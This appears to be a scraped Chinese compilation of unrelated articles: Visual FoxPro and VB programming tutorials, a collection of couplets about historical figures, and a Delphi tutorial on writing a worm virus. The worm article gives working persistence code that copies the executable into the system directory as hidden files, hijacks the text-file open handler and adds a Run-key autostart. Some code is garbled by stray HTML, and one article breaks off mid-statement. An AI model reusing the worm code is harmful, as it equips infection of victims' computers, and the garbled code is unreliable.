用vfp编写Web Service(精选10篇)由网友“矜矜矢车菊”投稿提供,这次小编在这里给大家整理过的用vfp编写Web Service,供大家阅读参考。
篇1:用vfp编写Web Service
半年来,一直想写一篇关于用 Visual FoxPro 7 编写 Web Service 的文章,但总不成愿,这回不是我偷懒,为了了解这种新技术我和我的朋友们经历了种种“磨难”。这里略作回忆,也算是新春来临之际对“往年”的回眸——算是没有浪费太多的生命。
磨难一:发布向导不能正确发布Web Service。
7月份就拿到了 Visual FoxPro 7,查遍Sample,没有发现有关于 Web Service 的 Demo。但在Help里以及微软对 Visual FoxPro7 的宣传里,都信誓旦旦的:我们支持开发 Web Service…… 还好在 Msdn 里看到了一篇名为《Creating Web Services with Visual FoxPro》的文章。真的很不幸,按部就班做实验却不能正确发布 Web Service。经过反复研究,我认为这是一个 Bug,还好发现了能绕过这个Bug的路径。这个时候已经是10月份了……
磨难二:原来 Web Service 是无状态的!
真是浪费生命啊,还好我已经不是专业的 Visual FoxPro 程序员了,业余的消闲,没有压力。大家记得BOE上的我写的《Visual FoxPro 7 全新登场-- XML 在 COM 组件数据集传递中 的意义》一文吗?那篇东西的示例,原本是为本文的 Web Service 准备的:当代码仅编译为 COM 被使用时,一切都在我的设想中;而进一步发布为Web Service,怪问题产生了—— Web Service 不能记忆我对它命令。经研究原来 Web Service 是“无状态”的(“无状态”在前几年就看到过了,当时无法理解。没想到现在 Web Service 帮我理解了这个概念,也算因祸得福)。
磨难三:Xmltocursor对中文支持有问题!
自以为已经能用 Visual FoxPro 编写一些小的 Web Service 应用了,于是向一位网友鼓吹:用Web Service做你那个应用吧!人家很仔细,第二天就告诉了我一个大问题:用 xmltocursor() 没法正确处理包含中文的 xml 文档,很多中文字符会被截断!昏倒,又是一个Bug!那个时候微软已经宣布将要发布Visual FoxPro7的SP1,于是我就一边等待SP1,一边寻找其他的解决方案。黄天不负有心人,west-wind竟然提供了这么一套类库wwXML,功能比Visual FoxPro7对XML的支持更强大,对中文支持也很好!
(经过测试,Visual FoxPro 7 的 SP1 已经解决了对中文字符的处理的问题)
磨难四:SP1竟然这么难安装!
1月16号,微软发布了 SP1。鬼知道,他们的安装程序是怎么做的——只能在Win9x下正确安装,win、xp 下都不行(听说有人在 Win2000 下成功安装了 SP1,真佩服他们的运气……)。还好论坛的 QXF 同志,把他在 win98 下安装的sp1后发现的更新文件打了包,分发给大家。现在,如果你装不上SP1 的话,只要在计算机里作如下处理就行了。
1.关闭Visual FoxPro7
2.拷贝文件DW15.EXE、DWINTL.DLL到Visual FoxPro7的HOME()目录。
3.在计算机里查找并替换VFP7.EXE、VFP7R.DLL、VFP7T.DLL、VFP7RENU.DLL、VFP7Runtime.MSM、VFPOLEDB.DLL、VFPOLEDB.MSM
闲话就说那么多了,让我们开始吧!
系统要求
1.各种版本的 Win2000及 Win Xp,并安装 IIS (其他版本的Windows没有试过)
2.安装Visual FoxPro7,建议安装SP1
3.安装 SOAP Toolkit 2.0(在 Visual FoxPro 7 安装盘里就有)
4.SQL Server 7 或者 SQL Server 2000
范例介绍
数据源
这个 Web Service 提供了两个数据查询的方法,分别是:检索系统中所有发票的功能以及查询某段时间中销售总额的功能,
我采用了SQL Server 的Demo数据库NorthWind为数据来源,为了凸现Visual FoxPro的威力,我有把这个数据库转换成为Visual FoxPro的本地DBC库。数据库的名称是:web_service.dbc,包含着13个表,这与SQL Server 里的NorthWind数据库是一致的!
好了,我们现在有两个一样的数据来源,一个是本地的DBC,另一个是远程的SQL Server数据库。在待会的试验中,我们会同时在这两个数据源中查询数据,大家就会看到 Visual FoxPro 在远程(异构)数据处理上的简便、灵活。
还有一些工作要做。我们知道,Visual FoxPro 访问远程数据库的方法是Remote View(远程视图) 和 SPT。其中 Remote View 是很有特色的,它的数据源是远程数据,但它本身又是本地 DBC 的成员,这样就能实现 Visual FoxPro 对远程数据源的快捷管理、完美融合。
这里根据需要我们要建立三个Remote View,分别对应 NorthWind数据库里的Orders、Order details 表和视图 invoices:可以通过如下命令完成:
CREATE SQL VIEW orders_sql REMOTE CONNECTION localSQLServer as select * from orders
CREATE SQL VIEW Order_details_sql REMOTE CONNECTION localSQLServer as select * from [order details]
CREATE SQL VIEW invoice_sql REMOTE CONNECTION localSQLServer as select * from invoices
这里用到连接“localSQLServer” 可以用如下命令生成:(大家可根据各人系统不同情况建立合法的连接!)
CREATE CONNECTION LocalSQLServer CONNSTRING “DRIVER=SQL Server;SERVER=BOEWORKS;UID=sa;PWD=;DATABASE=Northwind”
在试验中,我们还要用到由本地数据所产生的Local View(本地试图),它的效果与 invice_sql 一致,只不过前者的数据来源于本地的DBC,后者来源于SQL Server的NorthWind数据库。可以用如下代码实现:(如果你用视图设计器设计这个视图,你会发现视图设计器“报错”,这是因为:Visual FoxPro 的视图设计器不支持太过复杂的 SQL 语句。所以设计复杂视图时,应该直接手写代码,其实这也是众多SQL高手的通常做法!)
CREATE SQL VIEW invoice_vfp as ;
SELECT Orders.shipname, Orders.shipaddress, Orders.shipcity,;
Orders.shipregion, Orders.shippostalcode, Orders.shipcountry,;
Orders.customerid, Customers.companyname AS customernam,;
Employees.firstname+“ ”+Employees.lastname AS salesperson,;
篇2:用VFP制作演员表
我们观看的电视节目结束时,经常会看到演员列表从屏幕底部往上翻滚,用VFP也能实现此功能,当我们完成编写多媒体程序,在结束处,用此功能可以显示此程序的所有编制人员,
现举演员列表程序来说明此功能的实现:首先,需建立一个包含所有演员的数据表,例如,我建立一个名为Name的数据表,此表包含两个字段,一为Fname,代表演员所演的角色名,一为Tname,代表演员的真实姓名,表建立完后,我们建立一个窗体Form,在窗体内加入两个时间控件Tmer 1和TImer 2,将Tmer 1的Interval属性设为600,在窗体Form的Init事件中加入如下代码:
PUBLIC N
N=1
USE NAME
在时间控件TIMER1的TIMER事件中加入如下代码:
@ 10,10 say fname style. 't' *在窗体FORM中显示FNAME字段的内容
if .not.eof()
@ 10,21 say '--' style. 't'
endif *如果到记录尾,就不显示
@ 10,35 say tname style. 't' *在窗体FORM中显示TNAME字段的内容
if eof()
if n<5
n=n+1
else
@ 10,20 say 'THE END' FONT 'IMPACT' ,20 style. 't'
thisform.timer1.interval=0
THISFORM.TIMER2.INTERVAL=2000
endif
else
skip
endif
scroll 2,5,16,50,1
在TIMER2的TIMER事件中加入如下代码:
RELEASE THISFORM
RELEASE N
程序编制完成,存盘,运行它,看看结果吧!
篇3:VFP:用编辑框控件做个“摸奖机”
编辑框控件与文本框控件的功能是相似的,实际上你可以把它看作是可以展示多行数据、数据多时可以有滚动条的文本框,它的属性和事件也大多与文本框相似,在vfp基础教程-编辑框控件(editbox)一文中已经给出了一个例子,今天我们用编辑框再来做一个趣味小实例:摸奖机。程序运行界面如下:
这个例子并没有什么复杂的东西,主要是在命令按钮的click事件中对文本框输入的值进行判断,根据所输入的选择值将其对应的奖品显示到编辑框中。
制作步骤如下:
一、新建表单,将其caption属性值设置为“编程入门网-制作一个摸奖机”,AutoCenter属性值设置为.t.,width和height属性值分别设置为280和150,并将其保存为“摸奖机.scx”。
二、添加控件并设置属性:
1.向表单上添加一个label控件label1,并将其caption属性值设置为“请输入您的选择(1-4)”。
2.向表单上添加一个文本框控件Text1,将其InputMask属性值设置为9,value属性值设置为0,
3.向表单上添加一个命令按钮Command1,并将其caption属性值设置为“您获得的奖品是”。
4.向表单上添加一个编辑框控件Edit1。
三、按上图所示的程序运行界面,适当调整各控件的大小及在表单上的位置。
四、添加事件代码:
命令按钮command1的click事件代码:
do case case thisform.text1.value=1 thisform.edit1.value=“您的奖品是手机一部.” case thisform.text1.value=2 thisform.edit1.value=“您的奖品是10000元.” case thisform.text1.value=3 thisform.edit1.value=“您的奖品是学习机一部.” case thisform.text1.value=4 thisform.edit1.value=“您的奖品是彩电一台.” otherwise thisform.edit1.value=“谢谢您的参与.”endcase
五、运行“摸奖机.scx”。
本例代码在Win+VFP6.0环境下调试通过。
篇4:用VB编写登录程序VB
用VB编写登录程序} 》
{ 编者按:在前几期编程乐园中,我们一同学习了一些关于VB编程的基本概念和语法规则。但离开实例学习编程,无疑是枯燥无味、事倍功半的,所以我们在此推出“看实例,学编程”栏目,邀请富有经验的PFans介绍他们的典型实例,希望对PFans的编程之旅有所帮助。
我们都知道,在进入Windows操作系统时会出现一个登录对话框,要求用户输入密码后才能进入Windows。我们用VB也可以编写这样的登录窗口,其具体方法如下:
界面设计:
打开“VB6.0”,出现“新建工程”对话框,选择“标准EXE”单击“打开”即可新建一个工程。新建一个工程后,VB自动生成了一个窗体,其默认的名称是Form1,且显示的标题也是Form1,显然与我们要编写的程序不符。我们可以更改这些设置,方法是:点击Form1窗体,在右边的属性窗口中(如图1)的“名称”后输入“Denglu”(在后面讲的Denglu就是指的这个窗体),在“Caption”后输入“登录窗口”。窗体设置好后,我们便可以将控件放置到这个窗体中去了。
“登录窗口”中主要用到的是TextBox(文本框)控件,该控件主要是用于接收用户输入的文字并显示出来。在该程序中我们便可以使用TextBox控件接收用户输入的信息来判断是否是合法的用户。另外,我们还将用到Label(标签)控件及CommandButton(命令按钮)控件。Label控件用来显示“用户名”及“密码”标题;CommandButton控件用来设计“确定”及“取消”按钮。下面我们将这些控件放置到窗体中:在工具箱中选择“Label”控件(如图2),在窗体中拖动鼠标直到一定的大小,然后在属性窗口中的“Caption”属性后为输入“用户名”,然后在其下方再拖动一个Label控件,将Caption的值改为“密码:”;在工具箱中选择“TextBox”控件(如图3),在“用户名”后拖动一个TextBox控件,用同样的方法在“密码:”后拖动一个TextBox控件,然后在“属性窗口”中将Text的值改为空(即删除默认的Text1),为了不显示出用户输入的密码,我们将第二个TextBox控件的PasswordChar属性设置为*(如图5),这样在用户输入密码时显示的就是*了;在工具箱中选择“CommandButton”控件(如图4),将其拖动到窗体的下方(一共两个),分别设置其Caption属性为“确定”和“取消”。调整好这些控件的位置(如图6)后即可完成界面的设计,
程序代码:
该程序的主要目的是要判断输入的用户名是否合法,所以我们首先编写判断用户名的程序代码。双击“确定”按钮,添加如下的程序代码:(黑体部分为系统自动生成的代码,楷体为注释)
Private Sub Command1_Click
′判断是否输入了用户名
If Text1.Text=″″ Then ′如果Text1为空,即没有输入用户
MsgBox ″请输入用户名!″,vbOKOnly+vbCritical,″错误″
Exit Sub ′退出这个过程
Else ′如果输入了用户名
If Text1.Text=″软件世界″ And Text2.Text=″12345″ Then ′如果输入的用户名是″软件世界″且密码为″12345″
MsgBox ″你是合法用户,欢迎进入!″,vbOKOnly+vbInformation,″欢迎进入″
Else ′如果不是″软件世界″或密码不是″12345″
MsgBox ″用户名或密码错误!″,vbOKOnly+vbCritical,″错误″
Text1.Text=″″
Text2.Text=″″ ′清空Text1及Text2控件中的文本内容,让用户重新输入
End If
End If
End Sub
在这一段代码中,我们使用了If…Then…Else…End If。这是一个条件判断语句,If Text1.Text=″″ Then这句代码则是判断Text1是否为空,如果为空,这个条件就成立,则执行Then后的语句,如果Text1不为空,则这个条件不成立,程序将会跳到Else处,执行Else后的语句。
程序测试:
现在我们可以单击“F5”键来运行这个程序,看看其运行效果。直接单击“确定”按钮,将会弹出一个对话框(如图7);在“用户名”后输入“软件世界”,“密码:”后输入“12345”,再单击“确定”按钮,此时便会出现一个“欢迎进行”的信息框(如图8)。怎么样,一个属于自己的“登录窗口”就制作好了。
但这个程序目前还只能判断在程序中已设置好了的用户名及密码,没有灵活性,你可以发挥你的聪明才智,使其能够判断多个合法的用户及密码。如果你有什么疑问,欢迎写信与我交流,我的E-mail地址是:vber@21cn.com。
(重庆 杜伟)}
原文转自:www.ltesting.net
篇5:用VB编写投注程序VB
时下全国各地都在搞“电脑型福利彩票”,相信很多读者朋友都参与过或正准备参与吧,笔者也是一个“彩民”,已为中国福利事业贡献了XXX元了,不过好像运气不怎么好,至今连个末等奖也未中到,在投注时,彩号可以自己在投注单上选,也可以通过投注机随机选
时下全国各地都在搞“电脑型福利彩票”,相信很多读者朋友都参与过或正准备参与吧,笔者也是一个“彩民”,已为中国福利事业贡献了XXX元了,不过好像运气不怎么好,至今连个末等奖也未中到。在投注时,彩号可以自己在投注单上选,也可以通过投注机随机选取。那么,想不想自己编个程序来模拟“机选”呢?好!那就接着往下看吧!
首先,新建一个单窗体的工程,在上面画出七个TEXTBOX,最好是一个控件数组,这样编程时容易控制,再建一个COMMOND BUTTON,将CAPTION改为“随机产生”。在程序运行后,每点击一下COMMAND1,将随机产生一组数字并按从小到大的顺序显示在文本框中。下面就是程序部分:
Dim NumArray(1 To 7) As Integer′通用中定义
Private Sub Command1_Click()
Dim i, j, N As Integer
For i = 1 To 7
NumArray(i) = 0
Next i
Randomize
NumArray(1) = Fix(1 + 32 * (Rnd()))
j = 1
Do
N = Fix(1 + 32 * (Rnd()))
For i = 1 To j
If N = NumArray(i) Then
Exit For ′重复时
ElseIf i = j Then ′未重复时
NumArray(i + 1) = N
j = j + 1
Exit For
End If
Next i
Loop While j < 7
PopSort ′升序排列
For i = 1 To 7
Text1(i - 1).Text = NumArray(i)
Next i
End Sub
Private Sub PopSort() ′气泡排序法
Dim i, j, Temp As Integer
For i = 7 To 2 Step -1
For j = 7 - 1 To 1 Step -1
If i >= 7 - j + 1 Then
If NumArray(j + 1) < NumArray(j) Then
Temp = NumArray(j)
NumArray(j) = NumArray(j + 1)
NumArray(j + 1) = Temp
End If
End If
Next j
Next i
End Sub
本程序在VB6.0中文企业版、Win98SE中文版下调试通过,
为了简捷起见,这个程序还有很多不尽如人意的地方,比如不能保存等,喜欢编程的朋友可以充分发挥自己的聪明才智对其加以扩充。
原文转自:www.ltesting.net
篇6:用名人姓名编写的对联
用名人姓名编写的对联
应该怎样把人名改编为对联呢?看看名人的例子吧!
用名人姓名编写的对联
写秋瑾的对联:
上联:江户矢丹枕,感君首赞同盟会;
下联:轩亭洒碧血。愧我今招女侠魂。
上联:巾帼拜英雄,求仁得仁又何怨;
下联:亭台悲风雨,虽死不死终自由。
写孙中山的`对联:
上联:是中国自由神,三民五权,推翻历史数千载专制之局;
下联:愿吾侪后死者,齐心协力,完成先生一二件未竟之功。
上联:英雄作事无他,只坚忍一心,能成世界能成我;
下联:自古成功有几,正疮痍满目,半哭苍生半哭公。
写孔子的对联:
上联:气备四时,与天地日月鬼神合其德;
下联:教垂万世,继尧舜禹汤文武人之师。
上联:与国咸休,安富尊荣公府第;
下联:同于并老,文章道德圣人家。
上联:定六艺于杏坛,绍虞夏商周之统;
下联:藏诸经于鲁壁,开关闽濂洛之传。
写屈原的对联:
上联:志洁行廉,忠君爱国真气节;
下联:辞微旨远,经天纬地大诗篇。
上联:万顷重湖悲去国;
下联:一江千古属斯人。
上联:何处招魂,香草还生三户地;
下联:当年呵壁,湘流应识九歌心。
写项羽的对联:
上联:江东才子多才俊;
下联:卷土重来未可知。
上联:此地疑仙,蓬莱、瀛洲、方丈;
下联:不知有汉,美人、名马、英雄。
写诸葛亮的对联:
上联:能攻心则反侧自消,自古兵非好战;
下联:不审势即宽严皆误,后来治蜀要深思。
上联:成大事以小心,一生谨慎;
下联:仰忠臣之遗像,万古清高。
上联:心悬八卦图,初对策,再出师,共仰神明传将略;
下联:目击三分鼎,东连吴,北拒魏,常怀谨慎励臣躬。
上联:两表一对,鞠躬尽瘁酬三顾;
下联:鼎足七出,威德成孚足千秋。
上联:两表酬三顾,一对足三秋;
下联:志见出师表,好为梁父吟。
上联:心在朝廷,原无论先主后主;
下联:名遍天下,何必辨襄阳南阳。
写李白的对联:
上联:酌酒花间,磨针石上;
下联:倚剑天外,挂弓扶桑。
上联:可怜荒垄穷泉骨;
下联:曾有惊天动地文。
上联:神仙诗酒空千古;
下联:明达江天贮一楼。
上联:狂到世人皆欲杀;
下联:醉来天子不能呼。
写杜甫的对联:
上联:诗史数千言,秋天一鹄先生骨;
下联:草堂三五间,春水群鸥野老心。
上联:世上疮痍,诗中圣哲;
下联:民间疾苦,笔底波澜。
上联:歌咏总带忧民泪;
下联:颠沛仍怀爱国心。
上联:以忠爱为心,国步多艰,匡时句出惊风雨;
下联:为生民请命,恫鳏在抱,警世诗成泣鬼神。
上联:舟系洞庭,世上疮痍空有泪;
下联:魂归洛水,人间改换已无诗。
上联:异代不同时,问如此江山,龙腾虎跃几诗容;
下联:先生亦流寓,有长留天地,月白风清一草堂。
写白居易的对联:
上联:唐代论诗人,李杜以还,惟有几篇新乐府;
下联:苏州怀刺史,湖山之曲,尚留三亩旧祠堂。
上联:枫叶四弦秋,根触天涯迁谪恨;
下联:浔阳千尺水,勾留江山别离情。
上联:心中怀念农桑苦;
下联:耳里如闻饥冻声。
写于谦的对联:
上联:赖社稷之灵,国已有君,自分一腔抛热血;
下联:竭股肱之力,继之以死,独留青白在人间。
上联:千古痛钱塘,并楚国孤臣,白马江边,怒卷千堆雪浪;
下联:两朝冤少保,同岳家父子,夕阳亭里,心伤两地**。
篇7:浅谈用delphi来编写蠕虫病毒
{
注:由于小弟水平有限,并且是小弟第一次写文章,自然难免有很多不足的地方,还请大家包涵!
如果你有什么意见和建议,也请给我来信,大家互相学习,互相探讨!
}
前言:
可能大家想到病毒,第一反应就是可能是用asm来编写,或者是vbsript,而高级语言如delphi就好象不能编写一样,其实事实并不是这个样子的,只要我们花一些时间,照样可以写出简短而高效的病毒程序来,一点也不输那些用汇编写出来的程序哦,
一个病毒程序首先要短小,我们的目标是经过压缩后控制在30k以下。用过delphi的朋友都知道,如果在uses里面加入forms,classes.....等就会使目标文件非常的大,所以,在我们的程序里,我们要尽可能的不用这些库。我们只用windows,winsock,shellapi,sysutils(这个里面包含了一些常用的函数,比如对文件的操作,对字符串的操作,如果用自己的程序来代替,目标文件会更加的小)
首先,我们知道,一个病毒程序一般都分下面三个模块:
①保护模块;
②感染模块;
③发作模块。
下面我们就从这三个模块开始,分别实现他们的代码。
一)保护模块。
一般,我们都是把自身拷贝到系统的一些目录里,比如%systemroot%
那么,我们首先要取得这些特定的目录的路径
sdk里面给我们提供了一个这样的函数GetSystemDirectory
UINT GetSystemDirectory(
LPTSTR lpBuffer, // 存放返回的字符串的缓冲区
UINT uSize // 上面的缓冲去的长度
);
相关的函数还有GetWindowsDirectory可以得到%windows%的路径
得到了系统的目录后,第二步就是拷贝文件了。sdk为我们提供了一个函数copyfile
BOOL CopyFile(
LPCTSTR lpExistingFileName, // 源文件的路径
LPCTSTR lpNewFileName, // 目标文件的路径
BOOL bFailIfExists // 这是一个标志,如果目标文件已经存在,是否强制覆盖
);
拷贝文件完毕后,我们来把这个文件设置为系统和隐藏,那么一般情况是看不见该文件的,
除非选取查看所有文件,以及显示受保护文件。
同样,介绍一个函数SetFileAttributes
BOOL SetFileAttributes(
LPCTSTR lpFileName, // 需要设置的文件的文件名
DWORD dwFileAttributes // 设置的值。
);
我们这里要设置为隐藏和系统,那么就为第二个参数传递FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM
下面就是最重要的,让该文件开机自动运行,我们一般都是写注册表,
首先用RegOpenKey函数来打开一个键,
LONG RegOpenKey(
HKEY hKey, // 主键,比如HKEY_LOCAL_MACHINE
LPCTSTR lpSubKey, // 跟随的subkey
PHKEY phkResult // 存放函数返回这个打开的键的句柄
);
得到了HKEY后,就可以用regsetvalueex来向该键写具体的值了。
LONG RegSetValueEx(
HKEY hKey, // 这个就是刚才我们得到的句柄
LPCTSTR lpValueName, // 键名的地址
DWORD Reserved, // 一般设置为0
DWORD dwType, // 我们写的键的类型,字符串为REG_SZ
CONST BYTE *lpData, // 键值的地址
DWORD cbData // 写入的键值的长度
);
下面,我综合上面的说明来给出一个简短的例子:
procedure SelfCopy;
var
Path,Value:array [0..255] of char;
Hk:HKEY;
S:string;
begin
GetSystemDirectory(Path,256);
//取得系统的路径
s:=strpas(Path);
//转换成字符串
CopyFile(pchar(paramstr(0)),pchar(S+'\ruin.exe'),false);
CopyFile(pchar(paramstr(0)),pchar(S+'\virus_ruin.exe'),false);
//把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe
SetFileAttributes(pchar(S+'\ruin.exe'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+'\virus_ruin.exe'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//设置刚才的两个文件为系统和隐藏
RegOpenKey(HKEY_CLASSES_ROOT,'txtfile\shell\open\command',Hk);
Value:='virus_ruin.exe %1';
RegSetValueEx(Hk,'',0,REG_SZ,@Value,17);
//把virus_ruin.exe和文本文件关联
RegOpenKey(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run',Hk);
Value:='ruin.exe';
RegSetValueEx(Hk,'ruin',0,REG_SZ,@Value,8);
//设置开机自动运行ruin.exe
end;
我们看上面的这个程序,就完成了自我复制,和开机自动运行,
并且关联了文本文件,这样,如果run下的键被删除,那么他打开文本文件,蠕虫文件又被激活,
不过这个样子,你就需要在你的主程序里面进行判断,如果传递的参数等于1 ,则打开该文本,
并且进行自我保护。
如:
begin
if paramcount=1 then
shellexecute(0,'open','notepad.exe',pchar(paramstr(1)),nil,sw_normal);
//其他的代码
这里,我只是给出一个简单的例子来描述出一个大概的思路,
很多地方还不完善,比如进程的隐藏,
你可以进行判断,
如果是98你可以registerserverapplication如果你是用的,你可以做为服务启动,
或者是插入dll,或者是用求职信的方法,开机加载一个dll,或者是win.ini
或者.......................
因为我这里只是浅谈,只给大家提供一个思路,
如果你要深入研究,推荐看看shotgun的《揭开木马的神秘面纱》。
好今天打字也累了,明天接着写
篇8:用VB编写DirectX7.0游戏(二)VB
建立一个新的工程文件,点击菜单中的 Project | Reference 选项,打开Object Library 列表窗口,将DirectX 7.0 For Visual Basic Type Library 加入工程文件,将Form1的Name属性改变为MainForm,在MainForm中加入一个PictureBox控件,将其的Visible属性设置
建立一个新的工程文件,点击菜单中的 Project | Reference 选项,打开Object Library 列表窗口,将DirectX 7.0 For Visual Basic Type Library 加入工程文件。将Form1的Name属性改变为MainForm,在MainForm中加入一个PictureBox控件,将其的Visible属性设置为False。然后在MainForm的代码窗口中加入以下代码:
Private Sub Form_KeyPress(KeyAscii As Integer)
Dim sRect As RECT
Dim hdcSrc As Long
If KeyAscii = 27 Then
ExitLoop = True
注释:End
ElseIf KeyAscii =vbKeyReturn Then
DDSFront.BltToDC Picture1.hDC, sRect, sRect
With Picture1
注释:获得与主显示平面兼容的图形设备句柄
hdcSrc = DDSFront.GetDC
注释:保存图像
Set .Picture = SaveTohBmp(hdcSrc, 0, 0, 640, 480)
注释:释放图形句柄
DDSFront.ReleaseDC hdcSrc
SavePicture Picture1, “c:a.bmp”
End With
End If
End Sub
Public Sub Form_Paint
BlitRect.Right = DDSBackDesc.lWidth
BlitRect.Bottom = DDSBackDesc.lHeight
DDSFront.Blt BlitRect, DDSBack, BlitRect, DDBLT_WAIT
End Sub
在工程文件中加入一个Module文件,这个文件中DirectDraw操作做出了定义,在这个Module中加入以下代码:
Option Explicit
Public DX As New DirectX7
Public DDraw As DirectDraw7
Public DDSFront As DirectDrawSurface7
Public DDSFrontDesc As DDSURFACEDESC2
Public DDSBack As DirectDrawSurface7
Public DDSBackDesc As DDSURFACEDESC2
Public Clipper As DirectDrawClipper
Dim Pict() As Byte
Dim AlphaRect As RECT
Dim X As Long, Y As Long
Dim Temp As Long
Dim Index As Long
Dim Index2 As Long
Dim Pos As Long
Dim PosPlus1 As Long
Dim PosPlus2 As Long
Dim PosPlus3 As Long
Public Pal(255) As PALETTEENTRY
Public Palette As DirectDrawPalette
Public BlitRect As RECT
Public FullSize As Boolean
Public ExitLoop As Boolean
Dim Aclearcase/“ target=”_blank“ >ccum As Long
Dim Msg(9) As String
Dim Counter As Long
Dim MsgIndex As Long
Dim bDrawText As Boolean
Dim lastTime As Long
DimXPos As Long, YPos As Long
Dim wait As Long
Dim Angle As Single
Dim Flag As Boolean
Dim Count As Long
Dim CurModeActiveStatus As Boolean
Dim bRestore As Boolean
Dim Mode As Boolean
Private Sub Main()
InitializeDX
注释:初始化Picture1以获得DirectDraw界面图像
With MainForm.Picture1 .Width = 640 * Screen.TwipsPerPixelX .Height = 480 * Screen.TwipsPerPixelY
End With
DDSBack.SetForeColor RGB(255, 255, 255)
MainForm.Font.Name = “宋体”
DDSBack.SetFont MainForm.Font
Msg(0) =“一个显示火焰字的演示”
Msg(1) =“演示”
Msg(2) =“利用VB阵列”
Msg(3) =“对显示内存”
Msg(4) =“进行直接存取”
Msg(5) =“键退出”
注释:设置8位的调色板
For Index = 0 To 84
Pal(Index + 1).red = Index * 3 + 3
Pal(Index + 1).green = 0
Pal(Index + 1).blue = 0
Pal(Index + 86).red = 255
Pal(Index + 86).green = Index * 3 + 3
Pal(Index + 86).blue = 0
Pal(Index + 171).red = 255
Pal(Index + 171).green = 255
Pal(Index + 171).blue = Index * 3 + 3
Next
Set Palette = DDraw.CreatePalette(DDPCAPS_8BIT _ Or DDPCAPS_ALLOW256, Pal())
DDSFront.SetPalette Palette
AlphaRect.Right = DDSBackDesc.lWidth - 1
AlphaRect.Bottom=DDSBackDesc.lHeight- 1
DDSBack.Lock AlphaRect, DDSBackDesc, DDLOCK_WAIT, 0
DDSBack.GetLockedArray Pict()
For X = 0 To 639
For Y = 0 To 479
Pict(X, Y) = 0
Next
Next
注释:Corresponding unlock
DDSBack.Unlock AlphaRect
While Not ExitLoop
Mode = ExModeActive
bRestore = False
Do Until ExModeActive
DoEvents
bRestore = True
Loop
DoEvents
If bRestore Then
bRestore = False
DDraw.RestoreAllSurfaces
End If
DDSBack.Lock AlphaRect, DDSBackDesc, DDLOCK_WAIT, 0
DDSBack.GetLockedArray Pict()
For Y = 0 To 479
Pict(0, Y) = 0
Pict(639, Y) = 0
Next
For X = 0 To 639
Pict(X, 477) = Rnd * 220 + 35
Pict(X, 478) = Rnd * 220 + 35
Pict(X, 479) = Rnd * 220 + 35
Next
Accum = 0
For X = 1 To 638
For Y = 0 To 477
Accum = (Accum + Pict(X, Y + 1) _
+ Pict(X, Y + 2) _
+ Pict(X + 1, Y + 1) _
+ Pict(X - 1, Y + 1)) 5
If Accum < 0 Then
Accum = 0
ElseIf Accum >255 Then
Accum = 255
End If
Pict(X, Y) = Accum
Next
Next
For X = 0 To 639
Pict(X, 0) = 0
Pict(X, 1) = 0
Next
X = Rnd * 639
For Y = 50 To 439
Next
DDSBack.Unlock AlphaRect
If DX.TickCount() - lastTime >wait Then
If Counter = 0 Then
bDrawText = True
Counter = 1
XPos = Rnd * 200
YPos = 300 + Rnd * 140
wait = 400
ElseIf Counter = 1 Then
MsgIndex = MsgIndex + 1
If MsgIndex >5 Then MsgIndex = 0
bDrawText = False
Counter = 0
wait = 2000
End If
lastTime = DX.TickCount
End If
If bDrawText Then
On Error Resume Next
DDSBack.DrawText XPos, YPos, Msg(MsgIndex), False
On Error GoTo 0
End If
MainForm.Form_Paint
Wend
TerminateDX
End
End Sub
Function ExModeActive() As Boolean
Dim TestCoopRes As Long
TestCoopRes = DDraw.TestCooperativeLevel
Select Case TestCoopRes
Case DDERR_NOEXCLUSIVEMODE
ExModeActive = False
Case DD_OK
ExModeActive = True
End Select
End Function
Public Sub InitializeDX()
MainForm.Left = 0
MainForm.Top = 0
MainForm.Height =640 * Screen.TwipsPerPixelY
MainForm.Width = 480 * Screen.TwipsPerPixelX
MainForm.Show
注释:建立DirectDraw对象
Set DDraw = DX.DirectDrawCreate(“”)
注释:设定DirectDraw对象的协作层
DDraw.SetCooperativeLevel MainForm.hWnd, DDSCL_EXCLUSIVE Or DDSCL_FULLSCREEN 注释: DDSCL_NORMAL
注释:设定显示模式位640×480×8位颜色
DDraw.SetDisplayMode 640, 480, 8, 0, DDSDM_DEFAULT
注释:设定DDSFrontDesc为主平面
With DDSFrontDesc
.lFlags = DDSD_CAPS
.ddsCaps.lCaps = DDSCAPS_PRIMARYSURFACE 注释:Or DDSCAPS_SYSTEMMEMORY
End With
注释:设定DDSBackDesc为后台缓冲平面
With DDSBackDesc
.ddsCaps.lCaps = DDSCAPS_SYSTEMMEMORY
.lFlags = DDSD_CAPS Or DDSD_WIDTH Or DDSD_HEIGHT
.lWidth = 640
.lHeight = 480
End With
注释:建立平面
Set DDSFront = DDraw.CreateSurface(DDSFrontDesc)
Set DDSBack = DDraw.CreateSurface(DDSBackDesc)
Set Clipper = DDraw.CreateClipper(0)
Clipper.SetHWnd MainForm.hWnd
DDSFront.SetClipper Clipper
DDSBack.SetClipper Clipper
DoEvents
Exit Sub
ERRoUT:
If Not (DDraw Is Nothing) Then
DDraw.RestoreDisplayMode
DDraw.SetCooperativeLevel MainForm.hWnd, DDSCL_NORMAL
DoEvents
End If
MsgBox “无法对DirectDraw进行初始化 ”+Chr(13)+“也许你的显示卡不支持 640×480×8 显示模式 ”
End
End Sub
Public Sub TerminateDX()
注释:子程序TerminateDX回复原来的显示模式并且释放所有的DirectDraw有关对象
DDraw.RestoreDisplayMode
DDraw.SetCooperativeLevel MainForm.hWnd, DDSCL_NORMAL
DoEvents
Set Clipper = Nothing
Set DDSBack = Nothing
Set DDSFront = Nothing
Set DDraw = Nothing
Set DX = Nothing
End Sub
在工程文件中再加入一个Module,这个Module主要定义与图像保存相关的操作,在建立的Module中加入以下代码:
Option Explicit
Option Base 0
Private Type PALETTEENTRY
peRed As Byte
peGreen As Byte
peBlue As Byte
peFlags As Byte
End Type
Private Type LOGPALETTE
palVersion As Integer
palNumEntries As Integer
palPalEntry(255) As PALETTEENTRY
End Type
Private Type GUID
Data1 As Long
Data2 As Integer
Data3 As Integer
Data4(7) As Byte
End Type
Private Const RASTERCAPS As Long = 38
Private Const RC_PALETTE As Long = &H100
Private Const SIZEPALETTE As Long = 104
Private Declare Function CreateCompatibleDC Lib “GDI32” (ByVal hDC As Long) As Long
